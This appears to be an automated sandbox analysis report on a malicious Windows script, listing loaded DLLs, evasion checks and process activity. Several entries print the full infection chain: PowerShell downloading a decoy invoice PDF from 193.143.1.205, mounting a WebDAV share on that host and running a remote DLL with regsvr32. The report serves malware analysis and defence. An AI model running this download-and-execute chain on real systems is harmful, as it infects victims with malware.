Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9069.js.csv");ITextStream.WriteLine(" entry:7068 f:jeekzx");ITextStream.WriteLine(" exec:2 f:jeekzx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5293			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4483			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 368	Thread sleep count: 5293 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 368	Thread sleep count: 4483 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5328	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1496	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2300	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4568	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2175068471.0000026CA1640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: wscript.exe, 00000000.00000003.2093775916.000002218C349000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\o
Source: net.exe, 00000007.00000002.2175068471.0000026CA1640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3378339661.000001BCD6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3377190584.000001BCD082B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2175068471.0000026CA15ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`8d

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
